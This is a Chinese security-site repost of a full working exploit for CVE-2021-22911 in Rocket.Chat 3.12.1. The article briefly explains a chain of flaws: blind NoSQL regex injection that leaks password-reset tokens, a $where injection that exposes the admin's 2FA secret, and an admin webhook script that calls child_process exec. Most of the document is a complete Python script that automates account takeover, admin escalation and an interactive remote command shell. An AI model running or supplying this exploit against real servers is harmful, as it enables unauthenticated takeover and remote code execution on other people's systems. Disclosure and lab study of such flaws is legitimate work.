CVE-2021-22911:Pre-Auth Blind NoSQL 注入导致 Rocket Chat 3.12.1 RCE

admin 2021年10月27日09:51:59评论364 views字数 6518阅读21分43秒阅读模式


CVE-2021-22911:Pre-Auth Blind NoSQL 注入导致 Rocket Chat 3.12.1 RCE


预认证盲 NoSQL 注入导致 Rocket Chat 3.12.1 中的远程代码执行

  • getPasswordPolicy 方法容易受到 NoSQL 注入攻击,并且不需要身份验证/授权。它可用于通过泄露密码重置令牌来接管帐户。接管管理员帐户会导致远程代码执行


  1. 劫持用户的帐户(未经身份验证)

    • 在密码重置令牌参数的getPasswordPolicy端点中有 NoSQL 注入,它采用 json 对象,允许我们使用$regex运算符。我们使用它来执行盲 nosql 注入以获取重置令牌。

  1. 权限提升到管理员(已认证)

    • 所以admin用户最有可能受到2fa的保护。因此,即使我们通过 (1) 更改管理员的密码,它也会在登录时提示输入 2fa 代码。

    • users.list api 端点采用容易受到 nosql 注入的查询参数。我们还可以通过抛出错误来检索数据。

    • 我们运行以下查询来获取管理员的 2fa 秘密: {"$where":"this.username==='admin'+&&+(()=>{+throw+this.services.totp.secret+})()"}

    • 接下来我们只需执行 (1) 来重置管理员的密码并使用 2fa 密码生成我们可以用来登录的代码。

  1. RCE(认证 - 管理员)

    • Rocket.Chat 有一个叫做集成的功能,它允许创建传入和传出的网络钩子。这些 Web 钩子可以具有与其关联的脚本,这些脚本在触发 Web 钩子时执行。

    • 我们使用以下脚本创建集成:

const require = console.log.constructor('return process.mainModule.require')();const { exec } = require('child_process');exec('command here');


  • 接下来我们只需触发 webhook 来获取 rce 


用法

  • 您将需要一个没有 2fa 设置的低权限用户的电子邮件

  • 您还需要知道管理员电子邮件

python3exploit.py -u " user@rocket.local " -a " [email protected] " -t " http://rocket.local "



  • 在 Rocket Chat 3.12.1 上测试

  • 使用 docker 构建您自己的测试环境:


docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128docker exec -ti db mongo --eval "printjson(rs.initiate())"docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1


#!/usr/bin/python
import requestsimport stringimport timeimport hashlibimport jsonimport oathtoolimport argparse
parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)parser.add_argument('-a', help='Administrator email', required=True)parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)args = parser.parse_args()

adminmail = args.alowprivmail = args.utarget = args.t

def forgotpassword(email,url): payload='{"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"'+email+'\"]}"}' headers={'content-type': 'application/json'} r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False) print("[+] Password Reset Email Sent")

def resettoken(url): u = url+"/api/v1/method.callAnon/getPasswordPolicy" headers={'content-type': 'application/json'} token = ""
num = list(range(0,10)) string_ints = [str(int) for int in num] characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints
while len(token)!= 43: for c in characters: payload='{"message":"{\"msg\":\"method\",\"method\":\"getPasswordPolicy\",\"params\":[{\"token\":{\"$regex\":\"^%s\"}}]}"}' % (token + c) r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) time.sleep(0.5) if 'Meteor.Error' not in r.text: token += c print(f"Got: {token}")
print(f"[+] Got token : {token}") return token

def changingpassword(url,token): payload = '{"message":"{\"msg\":\"method\",\"method\":\"resetPassword\",\"params\":[\"'+token+'\",\"P@$$w0rd!1234\"]}"}' headers={'content-type': 'application/json'} r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False) if "error" in r.text: exit("[-] Wrong token") print("[+] Password was changed !")

def twofactor(url,email): # Authenticating sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest() payload ='{"message":"{\"msg\":\"method\",\"method\":\"login\",\"params\":[{\"user\":{\"email\":\"'+email+'\"},\"password\":{\"digest\":\"'+sha256pass+'\",\"algorithm\":\"sha-256\"}}]}"}' headers={'content-type': 'application/json'} r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False) if "error" in r.text: exit("[-] Couldn't authenticate") data = json.loads(r.text) data =(data['message']) userid = data[32:49] token = data[60:103] print(f"[+] Succesfully authenticated as {email}")
# Getting 2fa code cookies = {'rc_uid': userid,'rc_token': token} headers={'X-User-Id': userid,'X-Auth-Token': token} payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d'admin'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}' r = requests.get(url+payload,cookies=cookies,headers=headers) code = r.text[46:98] print(f"Got the code for 2fa: {code}") return code

def changingadminpassword(url,token,code): payload = '{"message":"{\"msg\":\"method\",\"method\":\"resetPassword\",\"params\":[\"'+token+'\",\"P@$$w0rd!1234\",{\"twoFactorCode\":\"'+code+'\",\"twoFactorMethod\":\"totp\"}]}"}' headers={'content-type': 'application/json'} r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False) if "403" in r.text: exit("[-] Wrong token")
print("[+] Admin password changed !")

def rce(url,code,cmd): # Authenticating sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest() headers={'content-type': 'application/json'} payload = '{"message":"{\"msg\":\"method\",\"method\":\"login\",\"params\":[{\"totp\":{\"login\":{\"user\":{\"username\":\"admin\"},\"password\":{\"digest\":\"'+sha256pass+'\",\"algorithm\":\"sha-256\"}},\"code\":\"'+code+'\"}}]}"}' r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False) if "error" in r.text: exit("[-] Couldn't authenticate") data = json.loads(r.text) data =(data['message']) userid = data[32:49] token = data[60:103] print("[+] Succesfully authenticated as administrator")
# Creating Integration payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor('return process.mainModule.require')();\nconst { exec } = require('child_process');\nexec(''+cmd+'');","type":"webhook-incoming"}' cookies = {'rc_uid': userid,'rc_token': token} headers = {'X-User-Id': userid,'X-Auth-Token': token} r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload) data = r.text data = data.split(',') token = data[12] token = token[9:57] _id = data[18] _id = _id[7:24]
# Triggering RCE u = url + '/hooks/' + _id + '/' +token r = requests.get(u) print(r.text)
############################################################

# Getting Low Priv userprint(f"[+] Resetting {lowprivmail} password")## Sending Reset Mailforgotpassword(lowprivmail,target)
## Getting reset tokentoken = resettoken(target)
## Changing Passwordchangingpassword(target,token)

# Privilege Escalation to admin## Getting secret for 2fasecret = twofactor(target,lowprivmail)

## Sending Reset mailprint(f"[+] Resetting {adminmail} password")forgotpassword(adminmail,target)
## Getting reset tokentoken = resettoken(target)

## Resetting Passwordcode = oathtool.generate_otp(secret)changingadminpassword(target,token,code)
## Authenticting and triggering rce
while True: cmd = input("CMD:> ") code = oathtool.generate_otp(secret) rce(target,code,cmd)


本文始发于微信公众号(Khan安全攻防实验室):CVE-2021-22911:Pre-Auth Blind NoSQL 注入导致 Rocket Chat 3.12.1 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月27日09:51:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-22911:Pre-Auth Blind NoSQL 注入导致 Rocket Chat 3.12.1 RCEhttp://cn-sec.com/archives/393731.html

发表评论

匿名网友 填写信息